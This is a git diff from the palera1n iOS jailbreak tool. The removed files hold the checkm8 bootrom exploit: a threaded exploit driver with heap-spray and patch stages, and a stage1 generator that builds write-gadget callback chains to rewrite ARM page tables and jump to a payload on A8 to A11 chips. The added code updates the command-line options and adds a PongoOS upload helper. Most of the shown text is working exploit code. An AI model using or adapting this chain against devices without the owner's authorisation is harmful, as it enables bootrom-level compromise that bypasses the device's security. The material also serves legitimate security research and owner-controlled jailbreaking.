uninstall_libusbk_target(VID_APPLE, PID_DFU);
#endif
atomic_store(&s->stage, STAGE_DONE);
atomic_store(&s->stop, true);
break;
}
close_usb_handle(&handle);
return NULL;
}
bool exploit(shared_t *state)
{
pthread_t t1, t2;
#ifdef _WIN32
pthread_t td;
#endif
pthread_create(&t1, NULL, exploit_thread, state);
pthread_create(&t2, NULL, pongo_thread, state);
#ifdef _WIN32
pthread_create(&td, NULL, driver_thread, state);
#endif
while (!atomic_load(&state->stop)) {
sleep_ms(10);
}
pthread_cancel(t1);
pthread_cancel(t2);
#ifdef _WIN32
pthread_cancel(td);
#endif
pthread_join(t1, NULL);
pthread_join(t2, NULL);
#ifdef _WIN32
pthread_join(td, NULL);
#endif
return atomic_load(&state->result) == 1;
}
-44
View File
@@ -1,44 +0,0 @@
#ifndef RUN_H
#define RUN_H
#include <stdbool.h>
#ifdef __cplusplus
#include <atomic>
using std::atomic_int;
using std::atomic_bool;
extern "C" {
#else
#include <stdatomic.h>
#endif
enum exploit_stage {
STAGE_RESET = 0,
STAGE_SETUP = 1,
STAGE_SPRAY = 2,
STAGE_PATCH = 3,
STAGE_YOLODFU = 4,
STAGE_PONGO = 5,
STAGE_DONE = 6,
};
#if defined(WITH_GUI) || defined(WITH_TUI)
const char* stage_to_string(int stage);
int stage_to_progress(int stage);
#endif // WITH_GUI || WITH_TUI
typedef struct {
atomic_int result;
atomic_bool stop;
atomic_int stage;
} shared_t;
bool exploit(shared_t *state);
#ifdef __cplusplus
}
#endif
#endif // RUN_H
-223
View File
@@ -1,223 +0,0 @@
#include "stage1.h"
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include "payload.h"
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
bool generate_stage1(
void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
struct DeviceConfiguration *deviceConfig,
struct PayloadConfiguration *payloadConfig
) {
bool wnx = false;
uint64_t write_gadget = 0;
uint32_t write_val = 0;
uint64_t base_address = payloadConfig->insecure_memory_base;
if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
{
wnx = true;
}
size_t presize = wnx == true ? 0x800 : 0xc0;
void *buf = malloc(presize);
uint32_t nextOffset = 0;
unsigned char* nextBuf = NULL;
dfu_callback_t* cb = (dfu_callback_t*)buf;
nextBuf = buf;
uint32_t current_size = 0;
int count = 0;
#define PUSH(end, func, arg0, arg1) \
{ \
count++; \
current_size = nextOffset + sizeof(dfu_callback_t); \
if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \
{ \
cb->callback = payloadConfig->func_gadget; \
if(count%3 == 0) \
nextOffset += 0x80; \
else \
nextOffset += 0x20; \
if(!end)cb->next = base_address + nextOffset; \
uint64_t* ptr = (uint64_t*)(cb); \
uint32_t* ptr32 = (uint32_t*)(cb); \
ptr[15] = func; \
if(func == payloadConfig->write_prim) \
{ \
ptr[14] = (uint64_t)(arg0 - 4); \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == payloadConfig->write_prim2) \
{ \
ptr[14] = (uint64_t)arg0; \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == payloadConfig->write_ttbr0) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
nextBuf = (unsigned char*)(buf + nextOffset); \
cb = (dfu_callback_t*)nextBuf; \
} \
else \
{ \
goto fail; \
} \
} \
if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
{
write_gadget = payloadConfig->write_prim;
}
else
{
write_gadget = payloadConfig->write_prim2;
}
uint64_t vrom_address = 0x100000000;
uint64_t sram_address = 0x180000000;
uint64_t new_va = 0x142000000; // post-exploit
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t sram_rx_va = 0x140000000; // execute payload
uint64_t sram_rw_va = 0x142000000; // custom ttbr
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t vrom_rw_va = 0x144000000;
uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
if(wnx) // only A9X-A11
{
// VROM: 0x100000000
uint64_t vrom_bit = vrom_address | 0x6a5;
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
// Newp: 0x142000000
uint64_t new_bit = sram_address | 0x621; // pa
new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
new_bit |= (1uL << 53); // PXN
new_bit |= (1uL << 54); // XN
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
// Newp: 0x144000000
uint64_t new_bit_2 = sram_address | 0x621; // pa
new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
new_bit_2 |= (1uL << 53); // PXN
new_bit_2 |= (1uL << 54); // XN
uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff);
uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
// SRAM: 0x180000000
uint64_t sram_bit = sram_address | 0x3;
sram_bit |= (1uL << 63); // NS
if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
}
if(wnx)
{
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
}
else
{
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
}
PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
if(wnx) // only A9X-A11
{
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
}
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
if(wnx) // only A9X-A11
{
uint64_t sram_rx_bit = sram_address | 0x6a5;
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
uint64_t sram_rw_bit = sram_address | 0x621;
sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
sram_rw_bit |= (1uL << 53); // PXN
sram_rw_bit |= (1uL << 54); // XN
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
uint64_t vrom_rw_bit = vrom_address | 0x621;
vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
vrom_rw_bit |= (1uL << 53); // PXN
vrom_rw_bit |= (1uL << 54); // XN
uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
PUSH(0, payloadConfig->enter_critical_section, 0, 0);
PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
PUSH(0, payloadConfig->tlbi, 0, 0);
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
PUSH(0, payloadConfig->tlbi, 0, 0);
PUSH(1, payloadConfig->exit_critical_section, 0, 0);
}
*outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
*outbuf = malloc(*outlen);
memset(*outbuf, 0x0, *outlen);
memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
if(buf) free(buf);
return true;
fail:
if(buf) free(buf);
return false;
}
-31
View File
@@ -1,31 +0,0 @@
#ifndef STAGE1_H
#define STAGE1_H
#include <stdint.h>
#include <stdbool.h>
#include "payload.h"
typedef struct
{
uint32_t endpoint, pad_0;
uint64_t io_buffer;
uint32_t status, io_len, ret_cnt, pad_1;
uint64_t callback, next;
} dfu_callback_t;
typedef struct
{
dfu_callback_t callback;
} checkm8_overwrite_t;
bool generate_stage1(
void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
struct DeviceConfiguration *deviceConfig,
struct PayloadConfiguration *payloadConfig
);
#endif // STAGE1_H
+77 -47
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <unistd.h>
#include <cstdlib>
#include <iostream>
@@ -5,29 +32,34 @@
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <inttypes.h> // PRIx64
#ifdef WITH_GUI
# include <wx/wx.h>
#endif
#include "m8/run.h"
#include "exploit.h"
#ifdef WITH_TUI
# include "tui/Tui.hpp"
#endif
#include "utils.h"
#if WITH_CIDERRAIN
# include <ciderra1n/log.h>
extern "C" {
# include <ciderra1n/ra1n.h>
}
#else
# include <openra1n/utils.h>
#endif
#include "globals.h"
#include "paleinfo.h"
#ifdef _WIN32
# include "usb/driver.h"
#endif
#include "usb/pongo_helper.h"
#include "pongo_helper.h"
void print_credits() {
printf(
"::\n"
":: Palera1n beta " PALERAIN_VERSION "\n"
"::\n"
":: (c) 2026\n"
":: Copyright (C) 2026 palera1n team\n"
"::\n"
":: ======== Made by =======>\n"
":: Made by: asdfugil, kok3shidoll, claration, mineek\n"
@@ -57,6 +89,7 @@ void print_usage(char* argv) {
#endif
" --dark-blockchain [f] Enable dark blockchain\n"
" --force-revert [f] Force environment reversion\n"
" --force-enable-ssv [f] Force SSV detection to result in YES\n"
" -l, --rootless [f] Enable rootless mode (standard)\n"
" -f, --rootful [f] Boots fakefs\n"
" -c, --setup-fakefs [f] Setup fake filesystem\n"
@@ -70,12 +103,9 @@ void print_usage(char* argv) {
" -K, --override-kpf <FILE PATH> Override kernel patchfinder\n"
" -o, --override-overlay <FILE PATH> Override overlay\n"
" -r, --override-ramdisk <FILE PATH> Override ramdisk\n"
" -d, --debug-logging Enable debug logging\n"
" -n, --no-colors [f] Disable colors on the command line\n"
" -q, --quick [f] Enable Quick Mode\n"
#ifdef _WIN32
" --install-drivers <PID> Install libusbK drivers for PID\n"
" --remove-drivers <PID> Remove libusbK drivers for PID\n"
#endif
, argv
);
@@ -103,6 +133,7 @@ void parse_arguments(int argc, char* argv[]) {
#endif
{"dark-blockchain", no_argument, NULL, 4},
{"force-revert", no_argument, NULL, 5},
{"force-enable-ssv", no_argument, NULL, 6},
{"rootless", no_argument, NULL, 'l'},
{"rootful", no_argument, NULL, 'f'},
{"setup-fakefs", no_argument, NULL, 'c'},
@@ -116,12 +147,9 @@ void parse_arguments(int argc, char* argv[]) {
{"override-kpf", required_argument, NULL, 'K'},
{"override-overlay", required_argument, NULL, 'o'},
{"override-ramdisk", required_argument, NULL, 'r'},
{"debug-logging", no_argument, NULL, 'd'},
{"no-colors", no_argument, NULL, 'n'},
{"quick", no_argument, NULL, 'q'},
#ifdef _WIN32
{"install-drivers", required_argument, NULL, 6},
{"remove-drivers", required_argument, NULL, 7},
#endif
{NULL, 0, NULL, 0}
};
@@ -149,19 +177,26 @@ void parse_arguments(int argc, char* argv[]) {
# endif
#endif
while ((options = getopt_long(argc, argv, "hvlfcBsTVpe:k:K:o:r:nq", long_options, &option_index)) != -1) {
while ((options = getopt_long(argc, argv, "hvlfcBsTVpe:k:K:o:r:dnq", long_options, &option_index)) != -1) {
switch (options) {
case 'h': // --help
print_usage(argv[0]);
exit(1);
case 'v': // --version
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (openra1n)]\n",
#if WITH_CIDERRAIN
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (libcidera1n %s)]\n",
ra1n_show_usb_backend(),
ra1n_show_build_version()
);
#else
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (libopenra1n)]\n",
#ifdef __APPLE__
"IOKit"
#else
"libusb"
#endif
);
#endif
printf("%s (%s)\n", GIT_HASH, GIT_BRANCH);
printf("Git: %s\n", GIT_URL);
printf("Compiled on %s at %s\n", __DATE__, __TIME__);
@@ -191,6 +226,9 @@ void parse_arguments(int argc, char* argv[]) {
case 5: // --force-revert
palerain_flags |= palerain_option_force_revert;
break;
case 6: // --force-enable-ssv
palerain_flags |= palerain_option_ssv;
break;
case 'l': // --rootless
palerain_flags &= ~palerain_option_rootful;
palerain_flags |= palerain_option_rootless;
@@ -219,25 +257,25 @@ void parse_arguments(int argc, char* argv[]) {
break;
case 'e': // --extra-bootargs
if (strlen(optarg) > (sizeof(boot_args) - 0x20)) {
LOG_ERROR("Boot arguments too long");
LOG_ERROR("Boot arguments too long!");
exit(1);
}
snprintf(boot_args, sizeof(boot_args), "%s", optarg);
break;
case 'k': // --override-pongo
if (!override_payload_from_file(optarg, &g_payload_pongo)) {
LOG_ERROR("Failed to load pongo payload\n");
LOG_ERROR("Failed to load pongo payload, is the path correct?");
exit(1);
}
if (g_payload_pongo.data_len > PONGO_MAX_SZ) {
LOG_ERROR("Pongo payload too large: %zu bytes (max %zu)", g_payload_pongo.data_len, PONGO_MAX_SZ);
LOG_ERROR("Pongo payload is too large! %zu bytes (max %zu)", g_payload_pongo.data_len, PONGO_MAX_SZ);
exit(1);
}
LOG("Overriding pongo payload with %s", optarg);
break;
case 'K': // --override-kpf
if (!override_payload_from_file(optarg, &g_payload_kpf)) {
LOG_ERROR("Failed to load kpf payload\n");
LOG_ERROR("Failed to load kpf payload, is the path correct?");
exit(1);
}
if (g_payload_kpf.data_len < 4
@@ -251,44 +289,27 @@ void parse_arguments(int argc, char* argv[]) {
break;
case 'o': // --override-overlay
if (!override_payload_from_file(optarg, &g_payload_overlay)) {
LOG_ERROR("Failed to load overlay payload\n");
LOG_ERROR("Failed to load overlay payload, is the path correct?");
exit(1);
}
LOG("Overriding overlay payload with %s", optarg);
break;
case 'r': // --override-ramdisk
if (!override_payload_from_file(optarg, &g_payload_ramdisk)) {
LOG_ERROR("Failed to load ramdisk payload\n");
LOG_ERROR("Failed to load ramdisk payload, is the path correct?");
exit(1);
}
LOG("Overriding ramdisk payload with %s", optarg);
break;
case 'd': // --debug-logging
if (gDebugLevel < 5) gDebugLevel++;
break;
case 'n': // --no-colors
palerain_flags |= palerain_option_no_colors;
break;
case 'q': // --quick
palerain_flags |= palerain_option_quick;
break;
#ifdef _WIN32
case 6: { // --install-drivers <PID>
unsigned short parsed_pid = (unsigned short)strtol(optarg, NULL, 16);
if (parsed_pid == 0) {
LOG_ERROR("Invalid PID value provided\n");
exit(1);
}
install_libusbk_target(0x05AC, parsed_pid);
exit(0);
}
case 7: { // --remove-drivers <PID>
unsigned short parsed_pid = (unsigned short)strtol(optarg, NULL, 16);
if (parsed_pid == 0) {
LOG_ERROR("Invalid PID value provided\n");
exit(1);
}
uninstall_libusbk_target(0x05AC, parsed_pid);
exit(0);
}
#endif
case '?':
LOG_ERROR("Unknown option\n");
print_usage(argv[0]);
@@ -345,17 +366,24 @@ void parse_arguments(int argc, char* argv[]) {
exit(1);
}
}
// controls logging settings in our checkm8 libraries
if (palerain_flags & palerain_option_no_colors) gSilentLogs = false;
if (palerain_flags & palerain_option_tui) gSilentLogs = true;
}
int main(int argc, char* argv[], char* envp[]) {
print_credits();
parse_arguments(argc, argv);
LOG("palera1n_flags: %llu", palerain_flags);
LOG("Welcome to palera1n!");
LOG("Reminder, this jailbreak IS designed for iOS 15+");
LOG_DEBUG("palera1n_flags: 0x%" PRIx64, palerain_flags);
// communicating with libusb on linux needs root
#ifdef __linux__
if (geteuid() != 0) {
LOG_WARN("You are not running as root, this may cause issues when exploiting");
LOG_ERROR("You are not running as root, this may cause issues when exploiting...");
}
#endif
@@ -384,6 +412,8 @@ int main(int argc, char* argv[], char* envp[]) {
}
#endif
shared_t state{};
return exploit(&state);
int stage;
bool ret = exploit(&stage);
LOG("Thank you for using palera1n!");
return ret;
}
+9 -5
View File
@@ -18,12 +18,12 @@ typedef uint64_t palerain_option_t;
#define palerain_option_rootful (UINT64_C(1) << 0) /* rootful jailbreak */
#define palerain_option_rootless (UINT64_C(1) << 1) /* rootless jailbreak */
#define palerain_option_setup_rootful (UINT64_C(1) << 2) /* create fakefs */
// (UINT64_C(1) << 3) /* Deprecated and removed */
/* reserved */
#define palerain_option_setup_partial_root (UINT64_C(1) << 4) /* fakefs creating should be partial */
#define palerain_option_checkrain_is_clone (UINT64_C(1) << 5) /* supplied checkra1n is checkra1n clone */
#define palerain_option_rootless_livefs (UINT64_C(1) << 6) /* mount root livefs on rootless */
#define palerain_option_ssv (UINT64_C(1) << 7) /* has signed system volume */
// (UINT64_C(1) << 8) /* reserved */
#define palerain_option_ssv (UINT64_C(1) << 7) /* signed system volume */
// #define palerain_option_force_fakefs (UINT64_C(1) << 8) /* force fakefs, even without SSV */
#define palerain_option_clean_fakefs (UINT64_C(1) << 9) /* clean fakefs, but does not delete it */
#define palerain_option_tui (UINT64_C(1) << 10) /* terminal user interface */
#define palerain_option_gui (UINT64_C(1) << 11) /* graphical user interface*/
@@ -45,11 +45,15 @@ typedef uint64_t palerain_option_t;
// #define palerain_option_sf_ssh (UINT64_C(1) << 27) /* safe mode with bootstrap ssh */
// #define palerain_option_sf_launchdaemons (UINT64_C(1) << 28) /* safe mode with launchdaemons */
// #define palerain_option_emerg_mode (UINT64_C(1) << 29) /* emergency mode (early boot usb shell) */
#define palerain_option_jbinit_log_to_file (UINT64_C(1) << 30) /* deprecated (kept for compatibility) */
// #define palerain_option_jbinit_log_to_file (UINT64_C(1) << 30) /* deprecated (kept for compatibility) */
#define palerain_option_cli (UINT64_C(1) << 31) /* CLI mode */
#define palerain_option_telnetd (UINT64_C(1) << 32) /* Enable TELNET daemon */
#define palerain_option_telnetd (UINT64_C(1) << 32) /* Enable TELNET daemon (insecure) */
#define palerain_option_quick (UINT64_C(1) << 33) /* Quick mode */
#define palerain_option_jbinit_log_to_file (UINT64_C(1) << 50) /* make ramdisk log to file (jbinit2) */
#define palerain_option_setup_rootful_forced (UINT64_C(1) << 51) /* create fakefs over an existing one (jbinit2) */
#define palerain_option_failure (UINT64_C(1) << 60) /* something went wrong */
#define palerain_option_flower_chain (UINT64_C(1) << 61) /* Flower chain */
#define palerain_option_test1 (UINT64_C(1) << 62) /* Developer test option 1 */
#define palerain_option_test2 (UINT64_C(1) << 63) /* Developer test option 2 */
+278
View File
@@ -0,0 +1,278 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include "pongo_helper.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h> // PRIx64
#if WITH_CIDERRAIN
# include <ciderra1n/usb.h>
# include <ciderra1n/log.h>
# include <ciderra1n/pongo_compress.h>
#else
# include <openra1n/shim.h>
# include <openra1n/utils.h>
#endif
#include "globals.h"
#include "paleinfo.h"
p1_transfer_ret_t issue_pongo_command(const p1_usb_handle_t *handle, const char *command)
{
p1_transfer_ret_t result;
uint32_t outpos = 0;
uint32_t outlen = 0;
uint8_t in_progress = 1;
char command_buf[512];
char stdout_buf[0x2000];
memset(stdout_buf, 0, sizeof(stdout_buf));
if (command != NULL) {
size_t len = strlen(command);
if (len > 510) {
LOG_ERROR("Pongo command too long: %s", command);
result.ret = 1;
return result;
}
LOG_DEBUG("Executing PongoOS command: '%s'", command);
snprintf(command_buf, sizeof(command_buf), "%s\n", command);
len = strlen(command_buf);
#if WITH_CIDERRAIN
result = usb_ctrl_transfer(handle, 0x21, 4, 1, 0, NULL, 0);
if (result.ret != kUSBResponseSuccess) goto result;
result = usb_ctrl_transfer(handle, 0x21, 3, 0, 0, (uint8_t *)command_buf, len);
if (result.ret != kUSBResponseSuccess) goto result;
#else
result = send_interface_control_request(handle, 0x21, 4, 1, 0, NULL, 0);
if (result.ret != USB_TRANSFER_OK) goto result;
result = send_interface_control_request(handle, 0x21, 3, 0, 0, command_buf, len);
if (result.ret != USB_TRANSFER_OK) goto result;
#endif
// return early if the command is boot, we dont care about results
if (strncmp(command,"boot",4) == 0) goto result;
}
while (in_progress) {
#if WITH_CIDERRAIN
result = usb_ctrl_transfer(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress));
if (result.ret != kUSBResponseSuccess) goto result;
#else
result = send_interface_control_request(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress));
if (result.ret != USB_TRANSFER_OK) goto result;
#endif
if (in_progress == 0) break;
if (outpos + 0x1000 >= sizeof(stdout_buf)) {
memmove(stdout_buf, stdout_buf + 0x1000, sizeof(stdout_buf) - 0x1000);
outpos -= 0x1000;
}
#if WITH_CIDERRAIN
result = usb_ctrl_transfer(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000);
if (result.ret != kUSBResponseSuccess) goto result;
#else
result = send_interface_control_request(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000);
if (result.ret != USB_TRANSFER_OK) goto result;
#endif
outlen = 0x1000;
outpos += outlen;
}
result:
return result;
}
p1_transfer_ret_t upload_buffer_to_pongo(p1_usb_handle_t *handle, const void *data, size_t length)
{
p1_transfer_ret_t result;
if (data == NULL || length == 0) {
LOG_ERROR("Invalid data buffer or length");
result.ret = -1;
goto result;
}
LOG_DEBUG("Uploading %zu bytes to PongoOS...", length);
#if WITH_CIDERRAIN
result = usb_ctrl_transfer(handle, 0x21, 1, 0, 0, (void *)&length, 4);
if (result.ret != kUSBResponseSuccess) {
LOG_ERROR("Failed to initiate PongoOS upload: %d", result.ret);
goto result;
}
result = usb_bulk_upload(handle, (uint8_t *)data, (uint32_t)length);
if (result.ret != kUSBResponseSuccess) {
LOG_ERROR("Failed to upload data to PongoOS: %d", result.ret);
goto result;
}
#else
result = send_interface_control_request(handle, 0x21, 1, 0, 0, (void *)&length, 4);
if (result.ret != USB_TRANSFER_OK || result.sz != 4) {
LOG_ERROR("Failed to initiate PongoOS upload: %d", result.ret);
goto result;
}
result = send_interface_bulk_transfer(handle, (void *)data, (uint32_t)length);
if (result.ret != USB_TRANSFER_OK || result.sz != length) {
LOG_ERROR("Failed to upload data to PongoOS: %d", result.ret);
goto result;
}
#endif
result:
return result;
}
p1_checkm8_err_t send_compressed_pongo(p1_usb_handle_t *handle, const uint8_t *pongo_bin, const size_t pongo_bin_length)
{
uint8_t *pongo_lz4 = NULL;
size_t pongo_lz4_length = 0;
if (!pongo_bin) {
LOG_ERROR("pongoOS is not loaded?");
return 15;
}
// pongo has been moved to sram, due to space constraints
// we need to make a self-decompressing payload before sending
#if WITH_CIDERRAIN
if (lz4_compress_pongo(pongo_bin, pongo_bin_length, &pongo_lz4, &pongo_lz4_length)) {
#else
if (!prepare_pongo(&pongo_lz4, &pongo_lz4_length, pongo_bin, pongo_bin_length)) {
#endif
// how on earth
LOG_ERROR("Failed to compress pongo image?");
free(pongo_lz4);
return 15;
}
p1_checkm8_err_t cr =
#if WITH_CIDERRAIN
ra1n_send_pongo(handle, pongo_lz4, pongo_lz4_length);
#else
checkm8_boot_pongo(handle, pongo_lz4, pongo_lz4_length);
#endif
free(pongo_lz4);
return cr;
}
p1_checkm8_err_t send_full_pongo_jailbreak(p1_usb_handle_t *handle)
{
p1_transfer_ret_t result;
char paleinfo[64];
snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags);
char xargs_cmd[0x270];
snprintf(xargs_cmd, sizeof(xargs_cmd), "xargs %s", boot_args);
if (palerain_flags & palerain_option_setup_rootful) {
strncat(xargs_cmd, " wdt=-1", sizeof(xargs_cmd) - strlen(xargs_cmd) - 1);
}
result = issue_pongo_command(handle, "fuse lock");
if (result.ret != 0) goto bad;
result = issue_pongo_command(handle, "sep auto");
if (result.ret != 0) goto bad;
if (g_payload_kpf.data_len > 0) {
result = upload_buffer_to_pongo(handle, g_payload_kpf.data, g_payload_kpf.data_len);
if (result.ret != 0) goto bad;
// embedded artifacts are lzma compressed, mostly for binary size
// this tells pongo to decompress after sending the KPF
// overwritten artifacts should not be compressed, so we always
// assume not compressed
if (g_payload_kpf.uncompressed_data_len > 0) {
char modload_cmd[64];
snprintf(modload_cmd, sizeof(modload_cmd), "modload %zu", g_payload_kpf.uncompressed_data_len);
result = issue_pongo_command(handle, modload_cmd);
} else {
result = issue_pongo_command(handle, "modload");
}
if (result.ret != 0) goto bad;
}
// palera1n specific flags
result = issue_pongo_command(handle, paleinfo);
if (result.ret != 0) goto bad;
